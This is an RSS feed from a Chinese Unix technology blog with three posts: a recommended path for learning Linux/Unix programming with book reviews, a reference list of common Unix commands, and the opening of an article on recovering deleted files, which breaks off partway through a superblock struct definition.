<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; other linux</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/operating_system/other-linux/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>学习linux/unix编程方法的建议.</title>
		<link>http://www.evanjiang.net.cn/archives/1001.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1001.html#comments</comments>
		<pubDate>Wed, 06 May 2009 16:16:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[other linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1001</guid>
		<description><![CDATA[<p>


 <p>解答：学习Linux的四个步骤
假设你是计算机科班出身，计算机系的基本课程如数据结构、操作系统、体系结构、编译原理、计算机网络你全修过
我想大概可以分为4个阶段，水平从低到高
从安装使用=>linux常用命令=>linux系统编程=>内核开发阅读内核源码
其中学习linux常用命令时就要学会自己编译内核，优化系统，调整参数
安装和常用命令书太多了，找本稍微详细点的就ok，其间需要学会正则表达式
系统编程推荐《高级unix环境编程》，黑话叫APUE
还有《unix网络编程》
这时候大概还需要看资料理解elf文件格式，连接器和加载器，cmu的一本教材中文名为《深入理解计算机系统》比较好
内核开发阅读内核源码阶段，从写驱动入手逐渐深入linux内核开发
参考书如下《linux device drivers》，黑话叫ldd
《linux kernel development》，黑话叫lkd
《understading the linux kernel》，黑话叫utlk
《linux源码情景分析》
这四本书为搞内核的必读书籍
最后，第三阶段和第四阶段最重动手，空言无益，光看书也不罩，不动手那些东西不能理解。

学习linux/unix编程方法的建议
建议学习路径：
　　首先先学学编辑器，vim, emacs什么的都行。
然后学make file文件，只要知道一点就行，这样就可以准备编程序。
　　然后看看《C程序设计语言》K&#038;R，这样呢，基本上就可以进行一般的编程了，顺便找本数据结构的书来看。
　　如果想学习UNIX/LINUX的编程，《APUE》绝对经典的教材，加深一下功底，学习《UNP》的第二卷。这样基本上系统方面的就可以掌握了。
　　然后再看Douglus E. Comer的《用TCP/IP进行网际互连》第一卷，学习一下网络的知识，再看《UNP》的第一卷，不仅学习网络编程，而且对系统编程的一些常用的技巧就很熟悉了，如果继续网络编程，建议看《TCP/IP进行网际互连》的第三卷，里面有很多关于应用协议telnet、ftp等协议的编程。
如果想写设备驱动程序，首先您的系统编程的接口比如文件、IPC等必须要熟知，再学习《LDD》2。
　







　对于几本经典教材的评价：
　　《The C Programing Language》K&#038;R 经典的C语言程序设计教材，作者是C语言的发明者，教材内容深入浅出。虽然有点老，但是必备的一本手册，现在有时候我还常翻翻。篇幅比较小，但是每看一遍，就有一遍的收获。另外也可用谭浩强的《C语言程序设计》代替。
　　《Advanced Programing in Unix Envirement》 W.Richard Stevens：也是非常经典的书（废话，Stevens的书哪有不经典的！），虽然初学者就可以看，但是事实上它是《Unix Network Programing》的一本辅助资料。国内的翻译的《UNIX环境高级编程》的水平不怎么样，现在有影印版，直接读英文比读中文来得容易。
　　《Unix Network Programing》W.Richard Stevens：第一卷讲BSD Socket网络编程接口和另外一种网络编程接口的，不过现在一般都用BSD Socket，所以这本书只要看大约一半多就可以了。第二卷没有设计到网络的东西，主要讲进程间通讯和Posix线程。所以看了《APUE》以后，就可以看它了，基本上系统的东西就由《APUE》和《UNP》vol2概括了。看过《UNP》以后，您就会知道系统编程的绝大部分编程技巧，即使卷一是讲网络编程的。国内是清华翻译得《Unix网络编程》，翻译者得功底也比较高，翻译地比较好。所以建议还是看中文版。
　　《TCP/IP祥解》一共三卷，卷一讲协议，卷二讲实现，卷三讲编程应用。我没有怎么看过。，但是据说也很经典的，因为我没有时间看卷二，所以不便评价。
　　《用TCP/IP进行网际互连》Douglus.E.Comer 一共三卷，卷一讲原理，卷二讲实现，卷三讲高级协议。感觉上这一套要比Stevens的那一套要好，就连Stevens也不得不承认它的第一卷非常经典。事实上，第一卷即使你没有一点网络的知识，看完以后也会对网络的来龙去脉了如指掌。第一卷中还有很多习题也设计得经典和实用，因为作者本身就是一位教师，并且卷一是国外研究生的教材。习题并没有答案，留给读者思考，因为问题得答案可以让你成为一个中级的Hacker，这些问题的答案可以象Douglus索取，不过只有他只给教师卷二我没有怎么看，卷三可以作为参考手册，其中地例子也很经典。如果您看过Qterm的源代码，就会知道Qterm的telnet 实现部分大多数就是从这本书的源代码过来的。对于网络原理的书，我推荐它，而不是Stevens的《TCP/IP祥解》。








　　《Operating System &#8211; Design and Implement》这个是讲操作系统的书，用Minix做的例子。作者母语不是英文，所以英文看起来比较晦涩。国内翻译的是《操作系统设计与实现》，我没看过中文版，因为翻译者是尤晋元，他翻译的《APUE》已经让我失望头顶了。读了这本书，对操作系统的底层怎么工作的就会
有一个清晰的认识。
　　《Linux Device Driver》2e ，为数不多的关于Linux设备驱动程序的好书。不过内容有些杂乱，如果您没有一些写驱动的经验，初次看会有些摸不着南北。国内翻译的是《Linux设备驱动程序》第二版，第一版，第二版的译者我都有很深的接触，不过总体上来说，虽然第二版翻译的有些不尽人意，但是相比第一版来说已经超出了一大截。要读这一本书，至少应该先找一些《计算机原理》《计算机体系结构》的书来马马虎虎读读，至少应该对硬件和计算机的工作过程有一些了解。</p>
]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>解答：学习Linux的四个步骤<br />
假设你是计算机科班出身，计算机系的基本课程如数据结构、操作系统、体系结构、编译原理、计算机网络你全修过<br />
我想大概可以分为4个阶段，水平从低到高<br />
从安装使用=>linux常用命令=>linux系统编程=>内核开发阅读内核源码<br />
其中学习linux常用命令时就要学会自己编译内核，优化系统，调整参数<br />
安装和常用命令书太多了，找本稍微详细点的就ok，其间需要学会正则表达式<br />
系统编程推荐《高级unix环境编程》，黑话叫APUE<br />
还有《unix网络编程》<br />
这时候大概还需要看资料理解elf文件格式，连接器和加载器，cmu的一本教材中文名为《深入理解计算机系统》比较好<br />
内核开发阅读内核源码阶段，从写驱动入手逐渐深入linux内核开发<br />
参考书如下《linux device drivers》，黑话叫ldd<br />
《linux kernel development》，黑话叫lkd<br />
《understading the linux kernel》，黑话叫utlk<br />
《linux源码情景分析》<br />
这四本书为搞内核的必读书籍<br />
最后，第三阶段和第四阶段最重动手，空言无益，光看书也不罩，不动手那些东西不能理解。<br />
<span id="more-1001"></span><br />
学习linux/unix编程方法的建议<br />
建议学习路径：<br />
　　首先先学学编辑器，vim, emacs什么的都行。<br />
然后学make file文件，只要知道一点就行，这样就可以准备编程序。<br />
　　然后看看《C程序设计语言》K&#038;R，这样呢，基本上就可以进行一般的编程了，顺便找本数据结构的书来看。<br />
　　如果想学习UNIX/LINUX的编程，《APUE》绝对经典的教材，加深一下功底，学习《UNP》的第二卷。这样基本上系统方面的就可以掌握了。<br />
　　然后再看Douglus E. Comer的《用TCP/IP进行网际互连》第一卷，学习一下网络的知识，再看《UNP》的第一卷，不仅学习网络编程，而且对系统编程的一些常用的技巧就很熟悉了，如果继续网络编程，建议看《TCP/IP进行网际互连》的第三卷，里面有很多关于应用协议telnet、ftp等协议的编程。<br />
如果想写设备驱动程序，首先您的系统编程的接口比如文件、IPC等必须要熟知，再学习《LDD》2。<br />
　
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　对于几本经典教材的评价：<br />
　　《The C Programing Language》K&#038;R 经典的C语言程序设计教材，作者是C语言的发明者，教材内容深入浅出。虽然有点老，但是必备的一本手册，现在有时候我还常翻翻。篇幅比较小，但是每看一遍，就有一遍的收获。另外也可用谭浩强的《C语言程序设计》代替。<br />
　　《Advanced Programing in Unix Envirement》 W.Richard Stevens：也是非常经典的书（废话，Stevens的书哪有不经典的！），虽然初学者就可以看，但是事实上它是《Unix Network Programing》的一本辅助资料。国内的翻译的《UNIX环境高级编程》的水平不怎么样，现在有影印版，直接读英文比读中文来得容易。<br />
　　《Unix Network Programing》W.Richard Stevens：第一卷讲BSD Socket网络编程接口和另外一种网络编程接口的，不过现在一般都用BSD Socket，所以这本书只要看大约一半多就可以了。第二卷没有设计到网络的东西，主要讲进程间通讯和Posix线程。所以看了《APUE》以后，就可以看它了，基本上系统的东西就由《APUE》和《UNP》vol2概括了。看过《UNP》以后，您就会知道系统编程的绝大部分编程技巧，即使卷一是讲网络编程的。国内是清华翻译得《Unix网络编程》，翻译者得功底也比较高，翻译地比较好。所以建议还是看中文版。<br />
　　《TCP/IP祥解》一共三卷，卷一讲协议，卷二讲实现，卷三讲编程应用。我没有怎么看过。，但是据说也很经典的，因为我没有时间看卷二，所以不便评价。<br />
　　《用TCP/IP进行网际互连》Douglus.E.Comer 一共三卷，卷一讲原理，卷二讲实现，卷三讲高级协议。感觉上这一套要比Stevens的那一套要好，就连Stevens也不得不承认它的第一卷非常经典。事实上，第一卷即使你没有一点网络的知识，看完以后也会对网络的来龙去脉了如指掌。第一卷中还有很多习题也设计得经典和实用，因为作者本身就是一位教师，并且卷一是国外研究生的教材。习题并没有答案，留给读者思考，因为问题得答案可以让你成为一个中级的Hacker，这些问题的答案可以象Douglus索取，不过只有他只给教师卷二我没有怎么看，卷三可以作为参考手册，其中地例子也很经典。如果您看过Qterm的源代码，就会知道Qterm的telnet 实现部分大多数就是从这本书的源代码过来的。对于网络原理的书，我推荐它，而不是Stevens的《TCP/IP祥解》。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　《Operating System &#8211; Design and Implement》这个是讲操作系统的书，用Minix做的例子。作者母语不是英文，所以英文看起来比较晦涩。国内翻译的是《操作系统设计与实现》，我没看过中文版，因为翻译者是尤晋元，他翻译的《APUE》已经让我失望头顶了。读了这本书，对操作系统的底层怎么工作的就会<br />
有一个清晰的认识。<br />
　　《Linux Device Driver》2e ，为数不多的关于Linux设备驱动程序的好书。不过内容有些杂乱，如果您没有一些写驱动的经验，初次看会有些摸不着南北。国内翻译的是《Linux设备驱动程序》第二版，第一版，第二版的译者我都有很深的接触，不过总体上来说，虽然第二版翻译的有些不尽人意，但是相比第一版来说已经超出了一大截。要读这一本书，至少应该先找一些《计算机原理》《计算机体系结构》的书来马马虎虎读读，至少应该对硬件和计算机的工作过程有一些了解。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>unix常用指令及参数</title>
		<link>http://www.evanjiang.net.cn/archives/893.html</link>
		<comments>http://www.evanjiang.net.cn/archives/893.html#comments</comments>
		<pubDate>Wed, 08 Apr 2009 13:48:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[netbsd unix]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[sco unix]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sun unix]]></category>
		<category><![CDATA[suse linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[unix 常用命令 及参数]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=893</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>常用组合键
ctrl+h,backspace :删除前面的字符.
ctrl+u:删除一整行.
ctrl+c,del,break: 强行终止正在运行的程序.
ctrl+d:
常用指令
1.date:查看当前时间.
2.cal:查看某一个月的月历.
3.Finger 命令:显示一个用户的详细信息.
4.who命令:显示所有登陆用户.who an i
5.clear 命令:执行清屏动作.
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename
9.passwd 命令,用于修改口令.
10.man 命令:联机手册
六.shell的基本功能:命令解释器,程序设计语言.
shell的退出命令.
1.exit 主要用于退出B_shell
2.logout 主要用于退出C_shell
3.ctrl+d 用于退出各类shell
第三章 通信
内部通信
外部通信





下.
mail命令模式常用命令
 如有下页则显示,否则退出mail.
p      显示本邮件信息
d      删除当前邮件
n      显示下一个邮件
q      退出 mail,把末删除的邮件保存到个人邮箱中.
R [...]]]></description>
			<content:encoded><![CDATA[<p>常用组合键<br />
ctrl+h,backspace :删除前面的字符.<br />
ctrl+u:删除一整行.<br />
ctrl+c,del,break: 强行终止正在运行的程序.<br />
ctrl+d:<br />
常用指令<br />
1.date:查看当前时间.<br />
2.cal:查看某一个月的月历.<br />
3.Finger 命令:显示一个用户的详细信息.<br />
4.who命令:显示所有登陆用户.who an i<br />
5.clear 命令:执行清屏动作.<br />
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world<br />
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello<br />
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:<br />
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename<br />
9.passwd 命令,用于修改口令.<br />
10.man 命令:联机手册<br />
六.shell的基本功能:命令解释器,程序设计语言.<br />
shell的退出命令.<br />
1.exit 主要用于退出B_shell<br />
2.logout 主要用于退出C_shell<br />
3.ctrl+d 用于退出各类shell<br />
第三章 通信<br />
内部通信<br />
外部通信<1,电子邮件,2.即时通信<br />
一.即时通讯<br />
1.write 交谈命令 (半双工通信)<br />
格式 write student1<br />
ctrl+d 退出write<br />
Write协议:消息发送结束用O(结束)<br />
结束谈话用OO(结束并退出)<br />
2.mesg 消息开关命令.用于查询和开关本终端的消息接收状态.<br />
格式:mesg [-y] [-n]<br />
$ mesg 查询本终端当前的消息接收状态<br />
is y 可以接收消息<br />
is n 拒绝接收消息<br />
$ mesg n 设置关闭状态<br />
$ mesg y 设置打开状态<br />
3.talk 双向通信命令 (全双工方式)<br />
4.wall 广播信息命令<br />
二,电子邮件<br />
$ mail username  发送邮件<br />
$ mail                 接收邮件<br />
系统邮箱:在/usr/mail或/var/mail下,每个用户都有一个以其名字</p>
<p>命名的邮箱.例如:student8的系统邮箱可能为:/var/mail/student8<br />
个人邮箱:个人邮箱通常为用户自己的主目录(home)下的mbox<br />
<span id="more-893"></span><br />
文件.用户读过的邮件如果末删除或转存,则存放在个人邮箱中</p>
<p>.例如:student8的个人邮箱可能是:/home/student8/mbox<br />
1.发送邮件:<br />
$ mail student8<br />
给多个用户发送邮件<br />
a.$ mail student1 student2 student3 把用户列出来.<br />
b.$ mail TEACHER TEACHER为用户组名,即向属于TEACHER</p>
<p>组所有用记发邮件.<br />
c.$ alias usr_list student1 student2 student3给student1 student2 </p>
<p>student3等多个名字建立一个部的别名usr_list,该别名只在本</p>
<p>shell中起作用,退出shell后无效.<br />
$ mail usr_list<br />
把已有的文件作为邮件发送给用户:<br />
$ mail student8 < my_letter<br />
发邮件给不存在的用户:<br />
$ mail meizhegeren<br />
mail命令本身能正常执行,由于无有效的接收方,所以系统把邮</p>
<p>件退回到用户主目录下dead.letter中.<br />
2.接收邮件<br />
不带参数输入mial表示读取邮件.此时已进入出境mail命令模式<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下.<br />
mail命令模式常用命令<br />
<cr> 如有下页则显示,否则退出mail.<br />
p      显示本邮件信息<br />
d      删除当前邮件<br />
n      显示下一个邮件<br />
q      退出 mail,把末删除的邮件保存到个人邮箱中.<br />
R     回复邮件<br />
!      执行shell命令.<br />
?      显示mail的内部命令.<br />
第四章 文件系统<br />
与目录相关的命令(pwd,cd,mkdir,rmdir,ls)<br />
与文件相关的命令(cp,mv,ln,more,rm)<br />
1.pwd 显示当前工作目录<br />
2.cd  改变当前目录<br />
3.mkdir 创建目录<br />
格式 mkdir dir_name<br />
4.rmdir 删除目录<br />
格式 rmdir dir_name<br />
     a.只能是空目录.<br />
      b.有写的权限<br />
一次操作多个目录<br />
- p 选项.在当前目录下逐级创建目录,也可以逐级删除目录.<br />
5.ls 显示目录<br />
$ ls -a 显示所有文件(以点开头的文件名是隐藏文件)<br />
$ ls -R 显示所有子目录的内容<br />
$ ls &#8211; l  能得到目录中的文件的详细信息.<br />
-:普通 d: 目录 c: 字符设备 b: 块设备 p:管道<br />
$ ls &#8211; C 以多列的格式列表,按列排序.<br />
$ ls &#8211; F 如果是目录,文件名后加/,如果是可执行文件,加*表示.<br />
$ ls &#8211; m 按页宽列文件,以逗号分隔.<br />
$ ls &#8211; p 如果是目录,文件名后加/<br />
$ ls &#8211; r 以字母反序列表<br />
$ ls &#8211; s 以文件块为单位显示文件大小<br />
$ ls &#8211; x 以多列的格式列表,按行排序.<br />
$ ls -G 以不同的颜色显示.<br />
$ ls -lc 显示更新时间<br />
$ ls -i   inode序号将列在第一列<br />
$ ls -lu 显示访问时间<br />
$ ls -I   显示更改时间<br />
6.touch 命令:作用是用来修改文件访问时间更改时间的.并可以</p>
<p>用来创建0字节长度的文件.<br />
格式 touch 命令参数<br />
7.cp 命令:复制文件<br />
格式 cp source target<br />
         $ cp file1 file2 &#8230; Target-dir<br />
$ cp -i 如果目标文件存在,请求确认<br />
$ cp -r 复制目录到新的目录<br />
8.mv 命令:移动文件或命名文件<br />
格式:mv source target<br />
9.ln 命令:ln命令的主要功能是给一个已经存在的文件再取一个</p>
<p>名字.新的文件名与原文件名可以在同一个目录下,也可以以在</p>
<p>不同的目录下,新老文件名代表同一个文件.<br />
格式ln source-file target-file<br />
作用:在现有的文件与新文件之间建立新链接,使一个文件具有</p>
<p>一个以上的名字.<br />
显示文件内容命令<br />
10.cat 命令:用来显示.创建或者合并文件<br />
格式cat filename<br />
11.more 命令:逐屏显示文件内容.翻屏时用<space>键.<br />
格式:$ more filename<br />
12.rm 命令:删除文件(删除后无法恢复)<br />
格式:$ rm file<br />
         $ rm file1 file2<br />
$ rm -i 删除文件前,给出确认<br />
$ rm -r 删除指定的目录及目录中的所有文件和子目录.即删除</p>
<p>整个目录结构.<br />
13.lp 命令:打印命令<br />
14.cut 命令:切取文件内容,用于切取文件中的列或字段.它把文</p>
<p>本文件中每一行的一部分显示输出.运行时必须指定功能选项.<br />
- f 指定字段的位置<br />
-c 指定列的位置<br />
-d 指定字段分隔符,缺省的字段分隔符是制表符tab<br />
15.paste 命令:连接文件.<br />
作用:把文件一行接一行地连接在一起,或者把两个或多个文件</p>
<p>的域连到一个新文件里.<br />
格式: $paste 选项 参数<br />
选项:-d 指定分隔符.默认是制表符<br />
第五章 文件权限<br />
16.chmod 命令:修改文件权限,常用chmod命令修改文件(包括普</p>
<p>通,目录和设备)的访问权限,<br />
格式: chmod pattern filename &#8230;<br />
finename 为要修改的权限文件名.可以有多个.<br />
pattern 为将改变成的权限,可以用两种形式表示:字母式和数字</p>
<p>形式.<br />
a,字母形式(符号模式)<br />
字母形式由用户类别(u,g,o). 如何改变(+,-)和权限(r,w,x)三部分</p>
<p>组成.<br />
u:本用户g:同组用户o:其它用户. + :增加权限 -:删除权限<br />
r:读w:写x:执行<br />
例如:chmod u+x file1<br />
         chmod o-w file2 file3<br />
          chmod go+r file4<br />
b,    数值形式<br />
格式: chmod 777 file1<br />
*新建文件或目录最大权限=状态掩码+新建文件或目录缺省</p>
<p>权限.此时unask为000<br />
对一个新建的文件,umask值为022则指定该文件的权限为644:<br />
对一个新建的目录,umask值为022则指定该目录的权限为755<br />
17.sort 命令:作用在于将指定的文件中的文件进行排序,并把排</p>
<p>序的结果输出到指定的标准输出中.<br />
格式:$srot [-t delimiter] [+field] [.column]][option]<br />
选项: -d 以字典顺序进行排序<br />
          -<br />
18.head 命令:用于查看一个文件.或多个文件的前面几行的内</p>
<p>容.<br />
格式:$ head [-number_of_lines] file(s)<br />
19.tail 命令:用于显示从指定行开始直到文件末尾的文件内容<br />
格式;tail [-number_of_lines | +number_of_lines]file<br />
20.tee 命令:在获得输入后,将把该输入数据送到两个地点:标准<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
输出和文件.<br />
21.grep 命令: 用于选项定包含特定模式的文本行.<br />
21.find 命令:在目录中递归地搜索包括有特定字符的文件名.<br />
22.df 命令:磁盘空间监测命令.显示当前系统中各个逻辑磁盘</p>
<p>中空闲的磁盘块数和空闲的索引节点(即可建立的新文件数)<br />
23.du 命令:查看磁盘使用情况统计,统计指定的目录及所有子</p>
<p>目录的磁盘使用情况,统计单位是磁盘块数.<br />
选项:-a 显示所有文件及子目录<br />
24.fsck 命令:文件系统管理:用于检测和修复文件文件的错误,<br />
25.tar命令:文件存储与备份.该命令可以把文件系统中的一个</p>
<p>或一组文件打成一个文件包.存放到外存上或硬盘上文件系统</p>
<p>的其它地方.常用于多个文件(包括目录)的备份或转移.<br />
格式: tar -cvf target file1 file2 file3 &#8230;把file1 file2 file3等文件备份到</p>
<p>档案文件target中.<br />
         tar -tvf target 检查档案文件target中包含的文件信息.<br />
         tar -xvf targer [file1] 从档案文件target中提取全部或file指定</p>
<p>的文件.<br />
26.shutdown 命令:系统关机<br />
选项:-h 完全关机<br />
         -r 关机并重新启动系统<br />
         time 关机时间,如17:30<br />
         message 关机前向所有已登陆用户发送消息<br />
例如: shutdown -r now 现在关机重启.<br />
27.crypt 文件加密命令:用于对文本文件进行加密和解密.以防</p>
<p>止文件内容泄密.<br />
例如:$ crypt < file > file.cry 对file加密,结果保存在file.cry中.key:加</p>
<p>密口令<br />
        $ crypt <aaa.cry > aaa 对aaa.cry解密,结果保存到aaa中. key:</p>
<p>解密口令<br />
附:$ vi -x file.cry 编辑一个加密后的文件<br />
28.compress/uncompress 文件压缩和解压命令<br />
格式:compress data_file 加压后自动在文件名后加一个.Z<br />
         umcompress abc.Z<br />
29.at 定时执行任务:在指定的时间一次性执行规定的任务.<br />
at 15:30 在15:30分执行<br />
who >> userlist 把上机用户清单发到userlist<br />
30,cron 系统定量执行任务:<br />
31,crontab 任务描述文件的管理命令.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/893.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unix下删除文件怎样恢复？</title>
		<link>http://www.evanjiang.net.cn/archives/148.html</link>
		<comments>http://www.evanjiang.net.cn/archives/148.html#comments</comments>
		<pubDate>Sat, 27 Dec 2008 05:42:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[other linux]]></category>
		<category><![CDATA[unix 文件恢复 数据恢复]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=148</guid>
		<description><![CDATA[<p> </p>
<p>与DOS/Windows不同，UNIX文件被删除后很难恢复，这是由UNIX独特的文件系统结构决定的。
UNIX文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、
始簇号(即文件占有的第一个磁盘块号)等重要信息;相反，它的文件信息全部依靠一种被称为i节点
的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容
几乎是不可能的，必须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。 </p>
<p>　　一、UNIX文件系统结构 </p>
<p>　　我们知道，UNIX是以文件卷作为其文件系统存储格式的，而不同的UNIX系统，文件卷格式是有差异的，
甚至即使是同一UNIX操作系统的不同版本，其文件系统未必完全相同，例如：SCO UNIX 4.1版与5.0版
文件系统结构就有明显差异，但只要是UNIX系统，其文件卷的基本结构是一致的。分析如下： </p>
<p>　　不管是什么UNIX系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、
数据区等几个部分。除此之外，不同UNIX版本可能还有不同的差异。例如：SCO UNIX系统的位图
索引块和位图块AIX的逻辑卷表等。这些系统的特殊性不影响下文的恢复策略，故这里不作讨论，
仅介绍标准UNIX文件卷结构。

　　1. 引导块 </p>
<p>　　位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，
其他文件系统这512字节为空。 </p>
<p>　　2. 超级块 </p>
<p>　　位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、
文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下： </p>
<p>　　struct filsys </p>
<p>　　{ </p>
<p>　　ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>　　daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>　　short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>　　daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>　　short s_ninode; /*空闲索引节点数*/ </p>
<p>　　ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>　　char s_flock; /*加锁标志位*/ </p>
<p>　　char s_ilock; /*节点加锁标志位*/ </p>
<p>　　char s_fmod; /*超级块修改标志*/ </p>
<p>　　char s_ronly; /*文件系统只读标志*/ </p>
<p>　　time_t s_time; /*超级块上次修改的时间*/ </p>
<p>　　short s_dinfo[4]; /*设备信息*/ </p>
<p>　　daddr_t s_tfree; /*空闲块总数*/ </p>
<p>　　ino_t [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<p>与DOS/Windows不同，UNIX文件被删除后很难恢复，这是由UNIX独特的文件系统结构决定的。<br />
UNIX文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、<br />
始簇号(即文件占有的第一个磁盘块号)等重要信息;相反，它的文件信息全部依靠一种被称为i节点<br />
的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容<br />
几乎是不可能的，必须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。 </p>
<p>　　一、UNIX文件系统结构 </p>
<p>　　我们知道，UNIX是以文件卷作为其文件系统存储格式的，而不同的UNIX系统，文件卷格式是有差异的，<br />
甚至即使是同一UNIX操作系统的不同版本，其文件系统未必完全相同，例如：SCO UNIX 4.1版与5.0版<br />
文件系统结构就有明显差异，但只要是UNIX系统，其文件卷的基本结构是一致的。分析如下： </p>
<p>　　不管是什么UNIX系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、<br />
数据区等几个部分。除此之外，不同UNIX版本可能还有不同的差异。例如：SCO UNIX系统的位图<br />
索引块和位图块AIX的逻辑卷表等。这些系统的特殊性不影响下文的恢复策略，故这里不作讨论，<br />
仅介绍标准UNIX文件卷结构。<br />
<span id="more-148"></span><br />
　　1. 引导块 </p>
<p>　　位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，<br />
其他文件系统这512字节为空。 </p>
<p>　　2. 超级块 </p>
<p>　　位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、<br />
文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下： </p>
<p>　　struct filsys </p>
<p>　　{ </p>
<p>　　ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>　　daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>　　short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>　　daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>　　short s_ninode; /*空闲索引节点数*/ </p>
<p>　　ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>　　char s_flock; /*加锁标志位*/ </p>
<p>　　char s_ilock; /*节点加锁标志位*/ </p>
<p>　　char s_fmod; /*超级块修改标志*/ </p>
<p>　　char s_ronly; /*文件系统只读标志*/ </p>
